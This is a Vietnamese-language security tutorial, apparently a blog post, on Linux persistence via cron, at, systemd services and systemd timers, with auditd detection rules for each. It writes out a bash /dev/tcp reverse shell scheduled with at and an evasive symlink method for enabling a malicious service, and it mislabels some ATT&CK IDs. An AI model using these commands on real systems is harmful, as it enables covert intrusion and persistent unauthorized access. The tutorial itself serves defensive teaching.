I.Giới thiệu

Persistence (duy trì sự hiện diện) là một trong những mục tiêu quan trọng của kẻ tấn công nhằm đảm bảo quyền truy cập vào hệ thống ngay cả khi thiết bị khởi động lại. Trong bài viết này, chúng ta sẽ đi sâu vào phân tích các kỹ thuật cụ thể mà attacker thường sử dụng trên môi trường Linux.

Cụ thể, lộ trình phân tích của chúng ta sẽ bao gồm:

• T1053 - Scheduled Task/Job: Khai thác các tác vụ được lập lịch để duy trì quyền truy cập. Chúng ta sẽ xem xét hai kỹ thuật con:
  • T1053.003 - Cron: Sử dụng các file cấu hình cron để thực thi mã định kỳ.
  • T1053.002 - At: Tận dụng lệnh at cho các tác vụ thực thi một lần.
• T1453 - Create or Modify System Process: Can thiệp vào các tiến trình hệ thống, bao gồm:
  • T1453.002 - Systemd Service: Tạo hoặc sửa đổi các dịch vụ hệ thống.
  • T1053.006 - Systemd Timers: Sử dụng bộ đếm thời gian của systemd để kích hoạt payload.

Thông qua từng phần, chúng ta sẽ cùng tìm hiểu về cơ chế hoạt động, cách thức tạo persistence thực tế và quan trọng nhất là các phương pháp Detect để phát hiện các dấu hiệu bất thường này.

II. Persistence là gì

Bắt đầu với khai niệm cơ bàn về persistence, được hiểu là khả năng duy trì sự hiện diện của attacker bên trong hệ thống đã bị xâm nhập trong một khoảng thời gian dài. Ngay cả khi thiết bị được reboot, tài khoản bị đổi mật khẩu hoặc quản trị viên đã thực hiện một số biện pháp khắc phục ban đầu, attacker vẫn có thể tìm cách giữ lại quyền truy cập để tiếp tục hoạt động.

Persistence là một thành phần quan trọng trong hầu hết các cuộc tấn công hiện đại. Sau khi xâm nhập thành công, attacker thường triển khai các cơ chế giúp chúng quay lại hệ thống mà không cần khai thác lại từ đầu. Việc duy trì quyền truy cập lâu dài cho phép chúng thu thập thêm thông tin, nghiên cứu kiến trúc mạng nội bộ, thực hiện lateral movement và từng bước đạt được mục tiêu như đánh cắp dữ liệu, phá hoại hệ thống hoặc triển khai mã độc ở quy mô lớn hơn.

Trong thực tế, nhiều loại malware hiện nay được thiết kế để tự động tạo persistence ngay sau khi chạy trên máy nạn nhân. Một số còn kết hợp nhiều kỹ thuật khác nhau nhằm tăng khả năng tồn tại và giảm nguy cơ bị loại bỏ hoàn toàn. Điều này đồng nghĩa rằng dù tổ chức đã phát hiện và vá lỗ hổng ban đầu, chỉ cần còn sót lại một persistence mechanism thì attacker vẫn có thể tái truy cập vào môi trường đã bị compromise.

Đối với SOC team thì việc nhận diện và giám sát các kỹ thuật persistence là một phần quan trọng trong hoạt động detection và incident response. 

Phần sau tôi sẽ giới thiệu về một số kỹ thuật tạo persistance, tôi sử dụng framework MITRE ATT&CK để phân chia và phân tích các kỹ thuật.

III. T1053 - Scheduled Task/Job

Trong framework MITRE ATT&CK, kỹ thuật này được phân loại dưới mã T1053 - Scheduled Task/Job. Trong môi trường Linux, Scheduled Task/Job là các công cụ thực hiện việc tự động hóa các tác vụ định kỳ, các công cụ như cron hay at cho phép người dùng lên lịch thực thi lệnh hoặc script tại một thời điểm xác định. Tuy nhiên, chính khả năng tự động thực thi này cũng khiến chúng trở thành mục tiêu bị attacker lợi dụng để thiết lập persistence. Dưới đây là một số kỹ thuật con của T1053

T1053.003 - Scheduled Task/Job: Cron

Cơ chế hoạt động

Cron là một daemon có mặt mặc định trên hầu hết các bản phân phối Linux, được sử dụng để thực thi các tác vụ lặp lại theo lịch trình. Cron sẽ liên tục đọc nội dung từ các cron file nằm trong nhiều thư mục hệ thống khác nhau và thực thi các command tương ứng theo thời gian đã được cấu hình.

Các cron job có thể được tạo ở phạm vi user hoặc toàn hệ thống, một số cron được sử dụng ở phạm vi user là:

• /var/spool/cron/
• /var/spool/cron/crontabs/

Còn ở phạm vi system:

• /etc/crontab
• /etc/cron.d/
• /etc/cron.daily/
• /etc/cron.hourly/
• /etc/cron.weekly/
• /etc/cron.monthly/

Mỗi cron entry sẽ bao gồm thông tin thời gian thực thi và command cần chạy. Ví dụ:

Và user thực hiện script hay command sẽ phụ thuộc một phần vào vị trí tệp được tạo, ví dụ các tệp trong thư mục /var/spool/cron/crontabs/ thì user thực thi sẽ là user tạo ra lệnh cron đó và bên trong thư mục này là các file cron ứng với từng user, ví dụ lệnh trên là của user root tạo ra thì sẽ có 1 file root chứa các cron của user này:

Còn đối với các tệp cron nằm trong thư mục /etc/, người dùng sẽ thực thi tác vụ (job) bắt buộc phải được chỉ định rõ – do đây là cron chạy trên toàn hệ thống:

cách cài đặt thời gian trong cron sẽ thông qua 5 dấu sao (* * * * *), đại diện cho: Phút, Giờ, Ngày (trong tháng), Tháng, Ngày (trong tuần). Nếu để mặc định *, lệnh sẽ chạy liên tục mỗi phút.Ví dụ 0 8 * * 1, hệ thống sẽ tự động chạy tác vụ vào đúng 08:00 sáng Thứ Hai hàng tuần (vì phút = 0, giờ = 8, và ngày trong tuần = 1).

Tạo Persistence qua T1053.003 – cron

Kẻ tấn công có thể tạo file cron thủ công trong thư mục /etc/ hoặc dùng lệnh crontab -e để tạo ra 1 file cron tương ứng với người dùng nhất định. Lấy ví dụ, ta sẽ thực hiện tạo 1 persistance với nhiệm vụ tự động thiết lập một reverse shell về máy của chúng tại địa chỉ IP 192.168.84.143 mỗi phút. Lập lịch này sẽ được ghi trực tiếp vào file cấu hình hệ thống /etc/cron.d/:

Kết nối thành công:

Detect

Việc phát hiện persistence thông qua cron thường tập trung vào ba nhóm hành vi chính: tạo mới cron job, chỉnh sửa cron file và thực thi command bất thường từ cron daemon.

Cần giám sát các thư mục cron quan trọng để phát hiện file mới hoặc thay đổi đáng ngờ, đặc biệt là:

• /etc/cron.d/
• /etc/crontab
• /var/spool/cron/

Như trong ví dụ ta thay thực hiện tạo lập lịch mới trong file /etc/crontab, ta có thể bắt được hành vi thay đổi nội dung file như trong ảnh:

Việc thực thi này hoàn toàn có thể phát hiện qua auditd, như ở các ảnh dưới, ta đã phát  hiện hành vi thực thi lệnh reverse shell với pid 2010 và ppid 2007:

Nếu truy ngược lại tiến trình thực thi ta sẽ có đó là tiến trình cron:

T1053.002 - Scheduled Task/Job: At

Cơ chế hoạt động

At là một utility trên Linux cho phép lên lịch thực thi command tại một thời điểm xác định trong tương lai. Khác với cron vốn được thiết kế cho các tác vụ lặp lại định kỳ, at chỉ thực thi tác vụ một lần duy nhất. Các job này được quản lý bởi daemon atd, daemon sẽ theo dõi và chạy command đúng theo thời gian đã được cấu hình.

Khi một At job được tạo, hệ thống sẽ sinh ra các file tương ứng trong:

• /var/spool/cron/atjobs/
• /var/spool/cron/atspool/

Các file này chứa:

• command cần thực thi
• user thực thi
• thời gian scheduled
• metadata liên quan tới job 

Người dùng có thể tạo một At job bằng cú pháp:

echo "/srv/clean_session.sh" | at now + 5 minutes

Để tự động chạy script sau 5 phút tính từ thời điểm tạo, hoặc lên lịch restart nginx vào lúc 1 giờ sáng ngày 25 tháng 12:

echo "systemctl restart nginx" | at 1:00 AM Dec 25

Ta có tệp tạm thời được tạo trong /var/spool/cron/atjobs:

Tạo Persistence qua T1053.003 – cron

Attacker có thể lợi dụng at để trì hoãn việc thực thi payload hoặc thiết lập persistence tạm thời nhằm tránh bị phát hiện ngay sau khi compromise hệ thống. Ví dụ:

echo "/bin/bash -c 'sh -i >& /dev/tcp/192.168.1.1/1337 0>&1'" | at now + 1 minute

Command trên sẽ tạo một reverse shell sau một phút kể từ thời điểm thực thi. Ngoài reverse shell, attacker cũng có thể sử dụng at để:

• tải payload từ internet
• tạo thêm persistence mechanism khác
• thực thi malware theo thời gian trì hoãn
• bypass một số cơ chế monitoring theo thời gian thực 

Mặc dù at ít phổ biến hơn cron và không phải lúc nào cũng được cài mặc định trên Linux, kỹ thuật này vẫn xuất hiện trong nhiều tình huống post-exploitation vì tính đơn giản và khả năng delayed execution.

Cách phát hiện

Việc phát hiện persistence thông qua at chủ yếu tập trung vào quá trình tạo At job, thay đổi file spool và hành vi thực thi của daemon atd.

Một số vị trí quan trọng cần monitor gồm:

• /var/spool/cron/atjobs/
• /var/spool/cron/atspool/

Có thể sử dụng auditd để theo dõi việc tạo hoặc chỉnh sửa file:

-w /var/spool/cron/atjobs/ -p wa -k at_job
-w /var/spool/cron/atspool/ -p wa -k at_spool

Các rule trên sẽ phát hiện:

• tạo At job mới
• chỉnh sửa At job
• xóa job
• thay đổi permission hoặc ownership

Tiếp tục với ví dụ ta đã sử dụng, khi sử dụng lệnh

echo "/bin/bash -c 'sh -i >& /dev/tcp/192.168.1.1/1337 0>&1'" | at now + 1 minute 

at sẽ tạo 1 file tạm thời trong /var/spool/cron/atjobs:

Khi kiểm tra trên siem ta có thể ghi nhân hành vi tạo file này:

Đồng thời như với cron ta cũng sẽ ghi nhận việc thực thi thông qua at:

III. T1453 - create or modify system process (systemd)

Trong hệ sinh thái Linux hiện đại, Systemd đã trở thành tiêu chuẩn công nghiệp thay thế cho hệ thống SysVinit cũ, chịu trách nhiệm khởi tạo, quản lý và điều phối toàn bộ tài nguyên cũng như tiến trình của hệ điều hành. Chính vì nắm giữ quyền kiểm soát tuyệt đối đối với vòng đời của mọi tiến trình, systemd vô tình trở thành "mảnh đất màu mỡ" được các tác nhân đe dọa săn đón hàng đầu để thiết lập cơ chế duy trì sự hiện diện (Persistence).

Bằng cách can thiệp, tạo mới hoặc chỉnh sửa các thành phần của cấu trúc này, kẻ tấn công có thể buộc hệ điều hành tự động thực thi mã độc (như reverse shell, backdoor) mà hệ thống không hề nghi ngờ. Kỹ thuật tấn công này được chia thành các hướng tiếp cận chính bao gồm: lợi dụng các dịch vụ chạy nền (Services), lên lịch trình ẩn với bộ hẹn giờ (Timers), hoặc can thiệp sâu vào giai đoạn boot sớm thông qua bộ tạo động (Generators).

T1453.002 - create or modify system process: systemd services

Khái niệm

Trong các bản phân phối Linux hiện đại, systemd là tiến trình đầu tiên được khởi tạo trong không gian người dùng và sở hữu PID 1. Vai trò chính của nó là quản lý tập trung toàn bộ các dịch vụ nền (daemons) của hệ điều hành thông qua các tệp cấu hình có đuôi .service.

Một tệp .service tiêu chuẩn luôn được cấu thành từ 3 thành phần định nghĩa chính::

• /etc/systemd/system/sshd.service: Secure Shell Service
• /lib/systemd/system/systemd-logind.service: Login Service
• /lib/systemd/system/rsyslog.service: System Logging Service
• /lib/systemd/system/cron.service: Regular background program processing daemon

Một “service” thực chất chỉ là một file cấu hình .service mô tả:

• [Unit]: Chứa thông tin mô tả cơ bản và các điều kiện tiên quyết của dịch vụ (Description).
• [Service]: Khai báo quan trọng nhất, chỉ định chính xác lệnh hoặc tiến trình hệ thống sẽ thực thi khi dịch vụ khởi chạy (ExecStart).
• [Install]: Xác định điều kiện hoặc trạng thái môi trường (Target) để dịch vụ tự động kích hoạt, ví dụ như chế độ nhiều người dùng (WantedBy=multi-user.target).

Lấy ví dụ file auditd.service:

Khi hệ thống boot, systemd sẽ:

1. Đọc tất cả các file .service trong các thư mục chuẩn
2. Xác định service khi nào cần chạy (WantedBy)
3. Thực thi lệnh trong ExecStart 

Để cài đặt một dịch vụ mới, một tệp *.service được tạo trong /etc/systemd/system/ hoặc /lib/systemd/system/.

Điểm cốt lõi ở đây là systemd không phân biệt “lệnh hợp lệ” hay “mã độc” — nó chỉ đơn giản là chạy lệnh được cấu hình. Vì vậy nếu attacker kiểm soát được file .service, họ kiểm soát được thứ sẽ chạy mỗi lần máy khởi động.

Tạo persistance

Kẻ tấn công thường lợi dụng cơ chế nạp cấu hình và kích hoạt dịch vụ của systemd để duy trì quyền truy cập thông qua hai kỹ thuật chính:

Kỹ thuật 1: Ghi đè dịch vụ hợp pháp (Overriding)

Systemd tìm kiếm các tệp cấu hình dịch vụ trong hệ thống theo các đường dẫn mặc định (Unit Paths) với thứ tự ưu tiên từ trên xuống dưới:

Do quy trình quét tệp có tính ưu tiên, nếu xuất hiện hai tệp dịch vụ trùng tên nhau, tệp nằm ở thư mục có độ ưu tiên cao hơn sẽ ghi đè hoàn toàn (override) tệp phía dưới. Kẻ tấn công thường không tạo một dịch vụ mới (dễ bị lộ khi quét danh sách), mà sẽ tạo một tệp trùng tên với dịch vụ hệ thống hợp pháp (ví dụ: nginx.service hoặc cron.service) đặt tại /etc/systemd/system/ để âm thầm chiếm quyền điều khiển luồng chạy của dịch vụ gốc.

Path và thứ tự load được systemd có thể được xem qua lệnh:

systemd-analyze unit-paths

Ví dụ

Lấy ví dụ về việc sử dụng kỹ thuật này, tôi có 1 service gốc là:

• test-app.service
• Nằm tại /lib/systemd/system
• Thực hiện việc ghi string vào file /tmp/test-systemd.log

Sau đó tôi tạo ra 1 service khác:

• Tên cũng là test-app.servic
• Nằm tại /etc/systemd/system (có mức độ ưu tiên cao hơn /lib/systemd/system )
• Thực hiện việc ghi string với nội dung khác vào file /tmp/test-systemd.log

Do service độc hại có độ ưu tiên cao hơn nên đã có thể ghi đè đc service gốc

Kỹ thuật 2: Tự tạo 1 service

Tiếp theo là cách tạo một service tối thiểu. Một file .service có 3 phần chính:

• [Unit]: mô tả service
• [Service]: lệnh sẽ chạy
• [Install]: xác định khi nào service được kích hoạt 

Thông thường, để một dịch vụ tự chạy cùng hệ điều hành, người quản trị phải gọi lệnh systemctl enable . Về mặt bản chất, lệnh này chỉ làm một nhiệm vụ duy nhất: Tạo một liên kết mềm (Symbolic Link) từ file gốc vào thư mục phân vùng đích (ví dụ: /etc/systemd/system/multi-user.target.wants/).

Để lẩn tránh các giải pháp giám sát câu lệnh dòng lệnh (Command-line Logging), kẻ tấn công sẽ bỏ qua lệnh systemctl và tự tay thiết lập liên kết mềm bằng lệnh hệ thống:

ln -s /etc/systemd/system/malicious.service /etc/systemd/system/multi-user.target.wants/malicious.service

Khi máy chủ tiến vào trạng thái Multi-user lúc khởi động, mã độc sẽ tự động kích hoạt mà không để lại bất kỳ dấu vết nào trong nhật ký lệnh của systemctl.

Detect 

Mục tiêu detect của sub-technique này là phát hiện:

• tạo mới .service
• sửa nội dung service
• enable persistence
• daemon reload
• start service bất thường
• thực thi payload thông qua ExecStart

Ta có thể sử dụng 1 số rule audit cơ bản như:

-w /etc/systemd/system/ -p wa -k systemd_service_mod

-w /run/systemd/system/ -p wa -k systemd_service_mod

-w /usr/lib/systemd/system/ -p wa -k systemd_service_mod

-w /lib/systemd/system/ -p wa -k systemd_service_mod

Để có thể detect 

• tạo file .service
• sửa ExecStart
• đổi permission
• rename file
• delete/recreate service

Lấy ở ví dụ mà ta đã sử dụng:

Ta có thể phát hiện được hành vi tạo file trong thư mục /etc/systemd/system/

T1053.006 - scheduled task/job: systemd timers

Khái niệm

Trong systemd, ngoài cơ chế quản lý service thông thường, systemd còn cung cấp một thành phần gọi là Timer Unit thông qua các file cấu hình có đuôi .timer.

Về bản chất, systemd timer đóng vai trò tương tự cron job trong Linux truyền thống, cho phép hệ thống tự động kích hoạt một service theo lịch định sẵn. Tuy nhiên khác với cron, timer được tích hợp trực tiếp vào hệ sinh thái systemd nên có khả năng quản lý trạng thái, dependency, logging và lifecycle tốt hơn rất nhiều.

Một timer không trực tiếp chạy lệnh. Thay vào đó:

• .timer: xác định thời điểm kích hoạt
• .service: chứa payload hoặc lệnh thực thi thực tế

Hai file này thường liên kết với nhau bằng cùng tên:

• backup.timer
• backup.service

Khi timer được kích hoạt, systemd sẽ tự động chạy service tương ứng. Các timer thường được đặt tại các thư mục tương tự service:

• /etc/systemd/system/
• /run/systemd/system/
• /usr/lib/systemd/system/

Tương tự một file .timer cơ bản gồm 3 phần chính:

• [Unit]: mô tả timer
• [Timer]: xác định lịch thực thi
• [Install]: xác định target khi enable 

Lấy ví dụ file .timer của systemd dùng để lên lịch tự động chạy một service update hệ thống. Nó định nghĩa khi nào service sẽ được kích hoạt:

Do timer cho phép thực thi payload lặp lại định kỳ, attacker thường sử dụng chúng để tạo persistence. Điểm quan trọng là timer tạo ra persistence “liên tục theo thời gian”, thay vì chỉ “persistence sau reboot” như .service.

Tạo persistence

Kẻ tấn công thường kết hợp .service và .timer để tạo persistence theo chu kỳ. Quy trình cơ bản gồm:

1. Tạo service chứa payload
2. Tạo timer kích hoạt service
3. Enable timer để tự động hoạt động 

Đầu tiên tạo một service:

File được đặt tại: /etc/systemd/system/update.service

Tiếp theo tạo timer:

File: /etc/systemd/system/update.timer

Timer này sẽ:

• chạy service sau 30 giây khi boot
• sau đó lặp lại mỗi 5 phút 

Cuối cùng attacker enable timer:

systemctl daemon-reload
systemctl enable update.timer
systemctl start update.timer

Khi enable, systemd sẽ tạo symbolic link:

/etc/systemd/system/timers.target.wants/update.timer

Từ thời điểm này, payload sẽ tự động được kích hoạt theo chu kỳ mà không cần attacker tương tác thêm.

Detect

Mục tiêu detect của sub-technique này là phát hiện:

• tạo mới .timer
• chỉnh sửa lịch schedule
• enable timer persistence
• timer kích hoạt bất thường
• periodic execution
• beaconing theo chu kỳ
• thực thi payload thông qua service liên kết 

Rule audit ta có thể sử dụng cũng tương tự như T1453.002:

-w /etc/systemd/system/ -p wa -k systemd_timer_mod
-w /run/systemd/system/ -p wa -k systemd_timer_mod
-w /usr/lib/systemd/system/ -p wa -k systemd_timer_mod

Để detect:

• tạo file .timer
• sửa interval schedule
• đổi permission
• rename timer
• delete/recreate timer 

Tương tự ta có thể bắt đươc hành vi tạo file service và timer:

IV. Reference

https://matheuzsecurity.github.io/hacking/linux-threat-hunting-persistence/

https://pberba.github.io/posts/

https://www.elastic.co/security-labs/primer-on-persistence-mechanisms